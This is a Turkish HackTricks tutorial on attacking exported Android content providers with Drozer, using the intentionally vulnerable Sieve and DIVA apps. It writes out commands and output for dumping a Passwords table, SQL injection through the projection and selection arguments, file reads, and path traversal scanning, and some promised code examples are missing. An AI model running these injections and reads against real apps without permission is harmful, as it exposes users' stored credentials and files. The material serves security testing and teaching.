Exploiting Content Providers

İçerik Sağlayıcılarından Yararlanma

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!

  • [The PEASS Family]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel NFT'ler koleksiyonumuz

  • Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**

  • Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

Giriş

Veri, bir uygulamadan diğerlerine bir bileşen olan bir içerik sağlayıcı aracılığıyla istek üzerine sağlanır. Bu istekler, ContentResolver sınıfı yöntemleri aracılığıyla yönetilir. İçerik sağlayıcıları, verilerini veritabanı, dosyalar veya ağ üzerinden çeşitli konumlarda saklayabilir.

Manifest.xml dosyasında içerik sağlayıcısının deklarasyonu gereklidir. Örneğin:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

content://com.mwr.example.sieve.DBContentProvider/Keys adresine erişmek için READ_KEYS iznine ihtiyaç vardır. Geliştirici hatası nedeniyle korunan /Keys yolu değil deklare edilen /Keys/ yolu erişilebilir durumda olduğundan ilginçtir.

Belki özel verilere erişebilir veya bazı zafiyetleri (SQL Enjeksiyonu veya Yol Geçişi) sömürebilirsiniz.

Açığa çıkarılan içerik sağlayıcılardan bilgi alın

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

DBContentProvider'a nasıl ulaşılacağını anlamak için URIs'ye "content://" ile başlanabilir. Bu yaklaşım, Drozer kullanarak elde edilen içgörülerden yola çıkarak geliştirilmiştir, burada önemli bilgiler /Keys dizininde bulunmuştur.

Drozer birkaç URI tahmin edip deneyebilir:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Ayrıca, sorguları aramak için ContentProvider kodunu kontrol etmelisiniz:

Ayrıca, tam sorguları bulamazsanız, ContentProvider tarafından bildirilen isimleri kontrol edebilirsiniz onCreate yönteminde:

Sorgu şu şekilde olacaktır: content://name.of.package.class/declared_name

Veritabanı Destekli İçerik Sağlayıcıları

Muhtemelen, Çoğu İçerik Sağlayıcısı bir veritabanı için bir arayüz olarak kullanılır. Bu nedenle, erişebilirseniz, bilgi çıkarabilir, güncelleme yapabilir, ekleyebilir ve silebilir olabilirsiniz. Hassas bilgilere erişip erişemediğinizi kontrol edin veya yetkilendirme mekanizmalarını atlayacak şekilde değiştirmeyi deneyin.

İçerik Sağlayıcının kodunu kontrol ederken, ayrıca sorgu, ekleme, güncelleme ve silme gibi adlandırılmış fonksiyonları arayın:

Çünkü onları çağırabileceksiniz

İçeriği Sorgula

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

İçerik ekleme

Veritabanını sorgulayarak sütunların adını öğreneceksiniz, sonra, DB'ye veri ekleyebileceksiniz:

Not: Ekleme ve güncelleme işlemlerinde --string'i dizeyi, --double'ı double'ı, --float'ı, --integer'ı, --long'u, --short'ı, --boolean'ı belirtmek için kullanabilirsiniz.

İçeriği güncelleme

Sütunların adını bildiğinizde girişleri değiştirebilirsiniz:

İçeriği silme

SQL Enjeksiyonu

SQL enjeksiyonunu (SQLite) test etmek oldukça basittir, içerik sağlayıcıya iletilen projeksiyon ve seçim alanlarını manipüle ederek. İçerik sağlayıcıyı sorgularken aranacak 2 ilginç argüman vardır: --selection ve --projection:

Bu parametreleri kullanarak SQL enjeksiyonlarını test etmeye çalışabilirsiniz:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Drozer ile Otomatik SQLInjection Keşfi

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Dosya Sistemi Destekli İçerik Sağlayıcılar

İçerik sağlayıcılar ayrıca dosyalara erişmek için de kullanılabilir:

Dosya okuma

İçerik sağlayıcıdan dosyaları okuyabilirsiniz

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Yol Geçişi

Dosyalara erişebiliyorsanız, Yol Geçişi'ni kötüye kullanmaya çalışabilirsiniz (bu durumda gerekli olmasa da "../" ve benzeri hileleri deneyebilirsiniz).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Drozer tarafından Otomatik Yol Geçişi keşfi

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Referanslar

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated